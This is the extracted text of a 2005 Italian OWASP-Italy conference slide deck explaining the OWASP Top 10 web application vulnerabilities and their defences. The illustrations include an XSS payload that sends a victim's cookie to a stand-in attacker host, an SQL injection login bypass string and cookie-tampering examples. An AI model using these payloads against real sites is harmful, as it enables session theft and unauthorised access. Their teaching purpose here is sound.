OWASP e le 10 vulnerabilità più critiche delle applicazioni Web Matteo Meucci OWASP-Italy Chair ICT Security Consultant – CISSP Business-e matteo. meucci@business-e. it OWASP Italy http: //www. owasp. org/local/italy. html Copyright © 2005 - The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License. The OWASP Foundation http: //www. owasp. org
Web Application Security e OWASP Top 10 Il progetto OWASP-Italy: Progetti e sviluppi futuri Le dieci vulnerabiltà più comuni: OWASP Top 10 § Meccanismi di autenticazione non adeguati § Crash del servizio: Buffer overflow § Furto di credenziali di autenticazioni: Cross Site Scripting § Manipolazione dei dati aziendali: SQL Injection § Furto di identità: Errata gestione delle sessioni Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 2
Web Application Security // Trend 4 Sempre più aziende sono on-line 4 Sempre più utenti sono on-line: everyone, everywhere, everytime // Conseguenze • New Business • New security risk: confidential data, thief of identity // Quali problemi? • Why good people write bad code -Graff e van Wyk in “Writing secure code” • No sviluppo “sicuro” degli applicativi web • Firewall and SSL non sono soluzioni di sicurezza completi Fonte: http: //www. internetworldstats. com/stats. htm Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 3
Misure tradizionali e incidenti di sicurezza < Gli Incidenti di sicurezza coinvolgono aziende che utilizzano: 4 Firewall: dal momento in cui sia consentito il protocollo HTTP in ingresso sul web server, un attaccante puo’ inserire qualsiasi informazione nelle richieste 4 IDS: § sono facilmente bypassati a livello HTTP § non bloccano un attacco ma lo segnalano solamente § non possono fare nulla contro una richiesta cifrata § non sono in grado di rilevare nuovi attacchi 4 VPN: realizzano reti virtuali tra ambienti eterogenei garantendo riservatezza e autenticazione tra i due peer. 4 AV: analizzano file ed e-mail per vedere se sono stati colpiti da nuovi virus; non sono rilevanti per quanto riguarda l’HTTP < 75% incidenti avviene via HTTP www. incidents. org < Encryption transport layer (SSL) + FW non risolvono il problema di sviluppare un applicativo web “sicuro” Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 4
Concetti di Web. App. Sec HTTP request (cleartext or SSL) Accept from ANY to IP W. S. via HTTP/HTTPS Allow SQL Database Richiesta Risposta Web server HTTP reply (HTML, Javascript, VBscript, etc) Transport layer HTTP/HTTPS over TCP/IP • Apache • IIS • Netscape etc… Data. Base App. server Plugins: • Perl • C/C++ • JSP, etc Database connection: • ADO, • ODBC, etc. 4 Canale e protocollo di comunicazione: HTTP layer 7 ISO/OSI, SSL layer 4 -5 4 Server: Sviluppo applicativi web “sicuri” Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 5
OWASP < Il progetto Open Web Application Security Project (OWASP) nasce da un gruppo composto di volontari che produce tool, standard e documentazione open-source di qualità professionale. < La comunità OWASP incentiva l'organizzazione di conferenze, la nascita di local chapter, la scrittura di articoli, papers, e discussioni riguardanti la Web Security. < La partecipazione in OWASP è free ed aperta a tutti, come il materiale disponibile sul portale www. owasp. org < Migliaia di membri, di cui 500 nei 38 capitoli locali e altri partecipanti ai progetti < Milioni di hit su www. owasp. org al mese < Defense Information Systems Agency (DISA) , US Federal Trade Commisson (FTC), VISA, Mastercard, American Express hanno adottato la documentazione OWASP nei loro standard e linee guida Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 6
Principali progetti OWASP < Linee guida: 4 Guida per la progettazione di applicativi web “sicuri” 4 OWASP Top Ten Vulnerability 4 Checklist per Web Application Vulnerability Assessment < Tool per Pentester e code reviewer: 4 Web. Scarab 4 Web. Goat 4 Stinger, … < Articoli, standard Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 7
OWASP-Italy Gruppo di professionisti della sicurezza informatica interessati alle problematiche e allo sviluppo di tematiche riguardanti la Web Application Security. Active Projects: 4 Traduzione della documentazione OWASP in italiano: § OWASP Top Ten [Done!], OWASP Checklist [Done!], OWASP Guide [Waiting release v 2] 4 Scrittura di articoli su OWASP e Web. App. Sec: § ICTSecurity [n. 33 Apr 05], Hackers&C [N. 11 Giu 05] § “Where SSL and Strong Auth. Fails” 4 Gruppo di studio per ISO 17799&Web e OWASP Checklist 4 Gestione Mailing list sulla Web. App. Sec: http: //lists. sourceforge. net/lists/listinfo/owasp-italy/ 4 Public speech 4 OWASP-Italy Sponsor: Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 8
Top Ten vulnerability list < OWASP mantiene una lista delle 10 vulnerabilità più critiche di un applicativo web. A 1. Unvalidated Input < Aggiornate annualmente. < Sempre più accettata come standard: 4 Federal Trade Commission (US Gov) 4 Oracle 4 Foundstone Inc. 4 @ Stake 4 VISA, Master. Card, American Express < Tradotta in italiano: A 2. Broken Access Control A 3. Broken Authentication and Session Management A 4. Cross Site Scripting (XSS) Flaws A 5. Buffer Overflow A 6. Injection Flaws A 7. Improper Error Handling A 8. Insecure Storage A 9. Denial of Service A 10. Insecure Configuration Management http: //www. owasp. org/local/italy. html http: //www. clusit. it/whitepapers. htm Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 9
OWASP Top Ten in "Payment Card Industry Data Security Standard" < From the standard Payment Card Industry (PCI) Data Security Requirements. . . 6. 5 Develop web software and applications based on secure coding guidelines such as the Open Web Application Security Project guidelines. Review custom application code to identify coding vulnerabilities. See www. owasp. org - “The Ten Most Critical Web Application Security Vulnerabilities. ” Cover prevention of common coding vulnerabilities in software development processes, to include: 6. 5. 1 Unvalidated input 6. 5. 2 Broken access control (e. g. , malicious use of user IDs) 6. 5. 3 Broken authentication/session management (use of account credentials and session cookies) 6. 5. 4 Cross-site scripting (XSS) attacks 6. 5. 5 Buffer overflows 6. 5. 6 Injection flaws (e. g. , SQL injection) 6. 5. 7 Improper error handling …. Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 10
A 1. Unvalidated Input < Le informazioni ricevute a seguito di una richiesta, non vengono validate dall’applicazione web. Questa tecnica può essere utilizzata per accedere alla parte di backend attraverso l’applicazione web in questione. < Prima regola: non “fidarsi” mai di qualsiasi informazioni fornita dal client nella HTTP Request (cookie, IDSessione, parametri, header, referer) < I parametri da controllare in fase di validazione sono: 4 Il tipo di dato (string, integer, real, etc…) 4 Il set di caratteri consentito 4 La lunghezza minima e massima 4 Controllare se è permesso il tipo NULL 4 Controllare se il parametro è richiesto o meno 4 Intervallo numerico Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 11
A 1. Unvalidated Input (2) < E’ necessario avere una classificazione ben precisa di ciò che sia permesso o meno per ogni singolo parametro dell’applicativo < Ciò include una protezione adeguata per tutti i tipi di dati ricevuti da una HTTP request, inclusi le URL, i form, i cookie, le query string, gli hidden field e i parametri. < OWASP Web. Scarab permette di manipolare tutte le informazioni da e verso il web browser < OWASP Stinger HTTP request è stato sviluppato da OWASP per gli ambienti J 2 EE (motore di validazione) Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 12
A 1. Unvalidated Input – esempio (1) Manipolazione dei parametri inviati: Hidden Field Manipulation Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 13
A 1. Unvalidated Input – esempio (2) Altero il valore in 4. 999 Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 14
A 1. Unvalidated Input – esempio (3) Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 15
A 1. Unvalidated Input – esempio (4) Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 16
A 2. Broken Access Control < Controllo dell’accesso (Autorizzazione) < Non vengono applicate le restrizioni appropriate su quello che possono fare o meno gli utenti. Un utente malintenzionato può accedere ad account di altri utenti, visualizzare files sensibili o ulitizzare funzionalità non autorizzate. < Es: 4 Permessi sui file (R, W, X) 4 Forced Browsing 4 Insecure Session. ID o cookie < Testare sempre lo schema di controllo degli accessi al sito e verificare le azioni che non dovrebbero essere permesse. Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 17
A 2. Broken Access Control (2) Utenti A. Di Lorenzo M. Tedaldi J. Williams D. Chadwick T. Polk P. Pedani D. Pinkas R. Rivest M. Meucci P. Myers S. Farrell Ruoli Risorse / Target User Redazione Bozza Power User Controllo economico Bozza Operatore Controllo amministrativo Bozza Firma Bozza Public Manager Delivery Atto Controller Controllo Atto Ragioneria Resp. Amm. vo Account Manager Direttore SI Direttore Ru Dirigente Admin Policy documentate di controllo degli accessi Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 18
A 3. Broken Authentication e Session Management < Processo di autenticazione 4 Meccanismo di autenticazione implementato non adeguato < Gestione delle sessioni web 4 HTTP protocollo stateless: è necessario implementare una corretta gestione delle sessioni Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 19
A 3. Broken Authentication Meccanismi di autenticazione non adeguati Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 20
A 3. Broken Authentication (2) Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 21
A. 3: Concetto di “gestione della sessione” nel mondo reale Dipendente Banca Mario Rossi A. Ferrari Carta di identità Mario Rossi Num. 33 Buongiorno Mario Rossi Firma: A. Ferrari Verifica identità in base alla carta di identità Ticket #33: mi dia 1000 euro dal mio conto Verifica identità in base al ticket Tenga 1000 euro Sig. Rossi Meccanismo di autenticazione? Meccanismo di gestione della sessione? Livello di sicurezza del sistema? Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 22
![A. 3: Gestione della sessione web --Procedura di autenticazione-Web Server Mario Rosssi [1] https:](https://present5.com/presentation/4f6f146d8d1512bc6e1f07bba85339e8/image-23.jpg "A. 3: Gestione della sessione web --Procedura di autenticazione-Web Server Mario Rosssi [1] https:")
A. 3: Gestione della sessione web --Procedura di autenticazione-Web Server Mario Rosssi [1] https: //www. mia-banca. it [2] Invio form di autenticazione via HTTPS Username/password Verifica credenziali: se ok client autenticato [3] inserisce username/password via HTTPS Generazione del cookie [4] Welcome page personale e Cookie=TWFya. W 8123 Set Cookie=TWFya. W 8123 Token di autenticazione --Richieste seguenti-[5] Richiesta dell’estratto CC (https: //www. mia-banca. it/cont. jsp) Cookie=TWFya. W 8123 Verifica del cookie: Identifica il mittente Invio del contenuto al DEST [6] Invio del contenuto Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 23
A. 3: Furto di identità Mario Rossi Per implementare una corretta gestione delle sessioni è necessario Se altero la GET HTTP, “forgiando” il cookie sono in grado credenziali di autenticazione proteggere sia le di accedere al contenuto di un’altra persona di un utente che i token di sessione generati dal server ed assegnati all’utente Verifica del cookie: [5 a]Richiesta dell’estratto CC (https: //www. mia-banca. it/cont. jsp) Cookie=TWFya. W 8122 [6 a] Invio del contenuto di Paolo Verdi TWFya. W 8122 Identifica il mittente Paolo Verdi Invio del contenuto di Paolo Verdi al destinatario Mario Rossi I dati relativi all’utenza di Verdi non sono stati adeguatamente protetti Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 24
A. 3: Errata gestione della sessione - Furto di identità Cookie poisoning Alterando campi forniti al client tramite un cookie (stato), un attaccante puo’ impersonare un utente per accedere a servizi web. Cookie: lang=en-us; ADMIN=no; y=1 ; time=10: 30 GMT ; Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12: 30 GMT ; Cookie guessable Cookie: aefdsg 6757 nb 90 ; M. Rossi Cookie: aefdsg 6757 nb 92 ; G. Verdi Cookie: aefdsg 6757 nb 9? ; V. Bianchi Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 25
![A. 4: Principi di Cross-Site-Scripting (XSS) [7] utilizzo del token rubato per autenticarsi al](https://present5.com/presentation/4f6f146d8d1512bc6e1f07bba85339e8/image-26.jpg "A. 4: Principi di Cross-Site-Scripting (XSS) [7] utilizzo del token rubato per autenticarsi al")
A. 4: Principi di Cross-Site-Scripting (XSS) [7] utilizzo del token rubato per autenticarsi al servizio [1] Richiesta Internet Attacker [2] Risposta [3] Invio malicious code mascherato da informativa della banca [6] Data. Base Web server App. server www. my-banca. it Internet [4] www. mybanca. it/Vuln. App. jsp? e=<script “malizioso”> Web. App vulnerabile al XSS user [6] Invio di token di autenticazione all’attaccante [5] Risposta: pagina voluta dall’attaccante eseguita sul browser dell’utente Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 26
A. 4: Cross-Site-Scripting (2) GET /welcome. cgi? name=<script>alert(document. cookie)</s cript> HTTP/1. 0 Host: www. my-banca. it. . . La risposta del sito vulnerabile sarà la seguente (interpretata sul browser dell’utente ignaro): <HTML> <Title>Welcome!</Title> Hi <script>alert(document. cookie)</script> <BR> Welcome to our system. . . </HTML> Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 27
A. 4: Cross-Site-Scripting (3) Il malicious link può essere: http: //www. mybanca. it/welcome. cgi? name=<script>window. open(“http: //www. attacker. site/collect. cgi? cookie=”%2 Bdocument. cookie)</script> La risposta del server sarà: <HTML> <Title>Welcome!</Title> Hi <script>window. open(“http: //www. attacker. site/collect. cgi? cookie=” +document. cookie)</script> <BR>Welcome to our system. . . </HTML> Redirezione del contenuto del cookie dell’utente ignaro verso il server dell’attaccante Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 28
XSS esempio (1) Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 29
XSS esempio (2) Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 30
A 5. Buffer Overflow Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 31
A. 6: Injection Flaw Ad esempio invio di comandi SQL come input di una pagina web direttamente al DB Username: ‘ OR ‘’=’ Password: ‘ OR ‘’=’ SQLQuery = “SELECT Username FROM Users WHERE Username = ‘“& str. Username &“’ AND Password =’”&str. Password”’ “ If (Str. Auth. Check = “”) then SELECT Username FROM Users WHERE Bool. Authenticated = false Username = ‘’ OR ‘’=’’ AND Password =’’ OR Else ‘’=’’ Bool. Authenticated = true La query confronta due stringhe vuote restituendo valore vero AUTENTICATO! Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 32
A. 6: SQL Injection (1) Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 33
A. 6: SQL Injection (2) < Mediante l’uso di tecniche sofisticate e’ possibile ricostruire le tabelle del Data. Base < E’ possibile alterare la base di dati in modo tale da non avere piu’ dati consistenti [1] Richiesta Internet Attacker [2] Risposta App. server Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 34
A 7. Error Handling Errori di debug visibili agli utenti • Incorrect Login • Invalid Username / Invalid Password • Username not found in database Personalizzare e gestire i messaggi di errore Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 35
A 8. Insecure Storage < Necessità di conservare informazioni riservate nel database oppure all’interno del file system. 4 Trattamento errato dei dati critici (cifratura errata) 4 Conservazione errata delle chiavi, dei certificati e delle password 4 Gestione impropria dei segreti in memoria 4 Inaffidabilità del generatore dei dati random 4 Cattiva scelta degli algoritmi di cifratura 4 Tentativo di creazione di un nuovo algoritmo 4 Errata implementazione del cambio di chiavi ed errate procedure di manutenzione dell’applicativo < Semplificare (es: one way encryption invece che encryption) < Usare librerie pubbliche di algoritmi crittografici Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 36
A 9. Denial of Sevice < Un attaccante può consumare le risorse di una applicazione web a tal punto da non permettere ai legittimi utenti di accedere e usare il servizio stesso < Data una HTTP Request, una applicazione web non è in grado di discernere tra un attacco e il traffico ordinario (IPAddr non sufficiente). < Es di Dos: ampiezza di banda, connessioni al DB, spazio su disco, utilizzo della CPU, della memoria, blocco account utente. < Proteggersi è complesso: 4 test per controllare il numero di richieste per secondo che l’applicazione è in grado di gestire. 4 limitare al massimo il numero di risorse allocate per ogni singolo utente. 4 Non permetter chiamate a funzioni onerose dal punto di vista dell’effort da parte di utenti non autenticati Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 37
A 10. Insecure Configuration Management < È diffusa la pratica di non eliminare oggetti o codici sorgenti non più necessari per l’erogazione del servizio (ad es. vecchie versioni di codice o sorgenti di test) dai quali è spesso possibile ottenere informazioni critiche per il sistema. < Vulnerabiltà note non corrette all’interno dei software installati nel server < Vulnerabilità all’interno dei software installati nel server oppure configurazioni errate che permettono di eseguire attacchi del tipo directory traversal < Presenza di contenuti non necessari quali pagine di defaut, backup di dati, script, applicazioni, file di configurazione e vecchie pagine web Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 38
A 10. Insecure Configuration Management < Esempi: 4 Attivazione di servizi non necessari inclusi sistemi di amministrazione remota e di content management 4 Presenza di account di default con password di default 4 Errata gestione dei messaggi di errore da parte dell’applicazione 4 Errata configurazione dei certificati SSL e dei settaggi relativi ai metodi di cifratura 4 Directory di default, ad es. di Ms IIS: § < iisamples, msadc, iishelp, scripts, printers Come proteggersi: 4 Eliminare tutto ciò che non è necessario 4 Scanning e hardening preventivo del web server (Nessus, Nikto) Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 39
Questions? Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 40
Bibliografia e sitografia : 4 OWASP Foundation A Guide to Building Secure Web Applications. 2002 “http: //www. owasp. org/documentation/guide_downloads. html” 4 OWASP Foundation OWASP Web Application Penetration Checklist. 2004 - http: //www. owasp. org/documentation/testing. html 4 OWASP Foundation The Ten Most Critical Web Application Security Vulnerabilities. 2004 – traduzione in italiano: “http: //www. owasp. org/international/ita. html” 4 OWASP Foundation Software: § Web. Goat – “http: //www. owasp. org/software/webgoat. html” § Web. Scarab – “http: //www. owasp. org/software/webscarab. html” § Stinger – http: //www. owasp. org/software/validation/stinger. html 4 OWASP-Italy: § http: //www. owasp. org/local/italy. html Computer Crime – Milano, 18 Mag 05 OWASP Italy 2005 41
Скачать презентацию OWASP e le 10 vulnerabilità più critiche delle
4f6f146d8d1512bc6e1f07bba85339e8.ppt